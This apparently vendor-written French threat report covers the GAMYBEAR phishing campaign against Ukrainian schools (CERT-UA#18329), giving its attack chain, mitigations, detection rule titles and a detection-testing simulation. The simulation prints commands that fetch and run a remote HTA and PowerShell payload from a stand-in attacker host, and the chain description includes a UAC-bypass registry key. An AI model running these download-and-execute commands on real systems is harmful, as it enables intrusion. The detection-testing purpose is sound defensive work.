Cyberattaque ciblée sur une école de l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne de collecte d’informations d’identification a frappé des écoles et des agences publiques dans la région de Soumy via un email de phishing contenant une pièce jointe ZIP. L’ouverture de l’archive a déclenché un fichier HTA par le moyen de mshta utilitaire, qui a ensuite téléchargé des scripts PowerShell pour déployer la porte dérobée GAMYBEAR et le voleur d’identifiants LaZagne, établir une communication C2 via HTTP et exfiltrer des fichiers à partir de répertoires ciblés.
Analyse de l’attaque
CERT-UA a lié la brèche initiale à un message de phishing envoyé le 26 mai 2025 depuis un compte Gmail détourné, fournissant les détails de la campagne dans l’alerte CERT-UA#18329. L’analyse forensic a révélé une chaîne d’infection en plusieurs étapes : ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagné du malware LaZagne, avec persistance maintenue via une entrée dans le registre Run et des téléchargements récurrents depuis des URLs malveillantes.
Atténuation
Renforcer l’authentification multi-facteurs pour tous les comptes email, bloquer l’exécution des fichiers HTA et des scripts PowerShell non fiables, verrouiller la clé de registre Run et implémenter une liste blanche d’applications. Mettre à jour continuellement les règles de détection des terminaux pour reconnaître les noms de fichiers, les hachages et les indicateurs réseau référencés.
Réponse
Isoler rapidement les terminaux concernés, réinitialiser les identifiants Gmail compromis, rassembler tous les IOC identifiés et effectuer des analyses complètes pour GAMYBEAR, LaZagne et les artefacts associés. Informer CERT-UA de l’incident et distribuer les IOC via les canaux de partage de renseignements sur les menaces pertinents.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing[« <b>Action</b> – <b>T1566.001 Hameçonnage : pièce jointe de spearphishing</b><br/>Compromission d’un compte Gmail universitaire et envoi d’e‑mails de spearphishing avec une pièce jointe ZIP nommée « Накaз № 332 ». »] class action_phishing action tool_mshta[« <b>Outil</b> – <b>Nom</b> : mshta.exe<br/><b>Technique</b> : T1218.005 Exécution par proxy de binaire système »] class tool_mshta tool malware_hta[« <b>Malware</b> – <b>Nom</b> : zvit.hta (application HTML)<br/>Exécuté via le raccourci livré dans le ZIP. »] class malware_hta malware action_powershell[« <b>Action</b> – <b>T1059.001 Interpréteur de commandes et de scripts : PowerShell</b><br/>L’HTA a lancé update.js qui a démarré updater.ps1. PowerShell a téléchargé des binaires supplémentaires (be53ff4f4b5daa.exe, svshosts.exe) depuis des serveurs HTTP distants. »] class action_powershell action tool_ps2exe[« <b>Outil</b> – <b>Nom</b> : PS2EXE<br/><b>Technique</b> : T1027.004 Compiler après livraison (obfuscation) »] class tool_ps2exe tool action_uac_bypass[« <b>Action</b> – <b>T1548.002 Abus du mécanisme de contrôle d’élévation : contournement de l’UAC</b><br/>Création de la clé HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command avec la valeur DelegateExecute pour contourner le contrôle de compte d’utilisateur. »] class action_uac_bypass action action_persistence[« <b>Action</b> – <b>T1547.014 Exécution automatique au démarrage ou à l’ouverture de session : Active Setup</b><br/>Ajout d’entrées HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (IEUpdater, ServiceUpdateService) pour lancer les binaires à l’ouverture de session. »] class action_persistence action tool_registry[« <b>Outil</b> – <b>Nom</b> : Modification du Registre<br/><b>Technique</b> : Persistance via les clés Run »] class tool_registry tool action_credential_dump[« <b>Action</b> – <b>T1003 Vidage des identifiants du système d’exploitation</b><br/>Exécution de LaZagne (be53ff4f4b5daa.exe) pour extraire les mots de passe stockés et d’autres identifiants. »] class action_credential_dump action tool_lazagne[« <b>Outil</b> – <b>Nom</b> : LaZagne<br/><b>Objectif</b> : Récupérer les identifiants enregistrés depuis les navigateurs, clients de messagerie et autres applications »] class tool_lazagne tool action_data_encoding[« <b>Action</b> – <b>T1132 Encodage des données</b><br/>Les communications entre les composants de la porte dérobée GAMYBEAR (svshosts.exe, ieupdater.exe) et le C2 ont été envoyées via HTTP avec des charges utiles encodées en Base64. »] class action_data_encoding action malware_gamybear[« <b>Malware</b> – <b>Nom</b> : porte dérobée GAMYBEAR<br/>Les composants incluent svshosts.exe et ieupdater.exe. »] class malware_gamybear malware %% Connections action_phishing u002du002du003e|livre| tool_mshta tool_mshta u002du002du003e|exécute| malware_hta malware_hta u002du002du003e|lance| action_powershell action_powershell u002du002du003e|utilise| tool_ps2exe action_powershell u002du002du003e|télécharge| malware_gamybear action_powershell u002du002du003e|crée| action_uac_bypass action_uac_bypass u002du002du003e|modifie| tool_registry action_persistence u002du002du003e|repose sur| tool_registry action_persistence u002du002du003e|lance| malware_gamybear action_credential_dump u002du002du003e|utilise| tool_lazagne tool_lazagne u002du002du003e|collecte| action_data_encoding malware_gamybear u002du002du003e|communique via| action_data_encoding %% End of diagram
Flow d’Attaque
Détections
Détection de la communication C2 de GAMYBEAR [Connexion Réseau Windows]
Voir
Détection de l’exécution de la porte dérobée GAMYBEAR [Événement de fichier Windows]
Voir
Détection de l’exécution de mshta.exe et PowerShell avec Bypass [Création de processus Windows]
Voir
IOCs (HashSha1) à détecter : Cybersattaque contre une institution éducative dans l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Voir
IOCs (DestinationIP) à détecter : Cybersattaque contre une institution éducative dans l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Voir
Simulations
Exécution de simulation
Prérequis : Le test de pré-vol de télémetrie et de référence doit avoir été validé.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Récit d’attaque et commandes :
-
Étape 1 – Déployer le HTA malveillant : L’attaquant héberge
evil.htasur un serveur web compromis. -
Étape 2 – Exécuter via
mshta.exe: En utilisant une invite de commande Windows, l’attaquant exécutemshta.exe http://attaquant.com/evil.hta. Cela crée un événement de création de processus avecmshta.exedans la ligne de commande, satisfaisant la première clause de la règle. -
Étape 3 – Contournement par PowerShell : Pour exécuter une charge utile qui contourne la Politique d’Exécution du système, l’attaquant lance PowerShell avec l’option
-ep bypass:PowerShell -ep bypass -Command "Invoke-WebRequest http://attaquant.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"Cela génère un deuxième événement de création de processus contenant exactement la chaîne
PowerShell -ep bypass, satisfaisant la deuxième clause.
-
-
Script de test de régression : Le script PowerShell suivant reproduit les étapes ci-dessus de manière automatisée et répétable.
# ------------------------------------------------- # Test de régression – Déclencher la règle Sigma pour mshta & PowerShell -ep bypass # ------------------------------------------------- # Variables – ajuster à votre environnement de laboratoire $htaUrl = "http://127.0.0.1/evil.hta" # Doit pointer vers un fichier HTA accessible $psUrl = "http://127.0.0.1/payload.ps1" # Charge utile PS simple (par ex., `Write-Host "pwned"`) # 1. Appeler mshta.exe Write-Host "[*] Lancement de mshta.exe contre $htaUrl" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # Pause courte pour garantir la journalisation du processus Start-Sleep -Seconds 2 # 2. Appeler PowerShell avec contournement de la politique d'exécution $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] Lancement de PowerShell -ep bypass" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # Pause pour permettre la journalisation Start-Sleep -Seconds 5 Write-Host "[+] Test terminé. Vérifiez votre SIEM pour les alertes." -
Commandes de nettoyage : Supprimer les fichiers temporaires et terminer tous les processus de test résiduels.
# Nettoyer la charge utile temporaire Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # Optionnellement tuer les instances mshta ou PowerShell résiduelles générées par le test Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force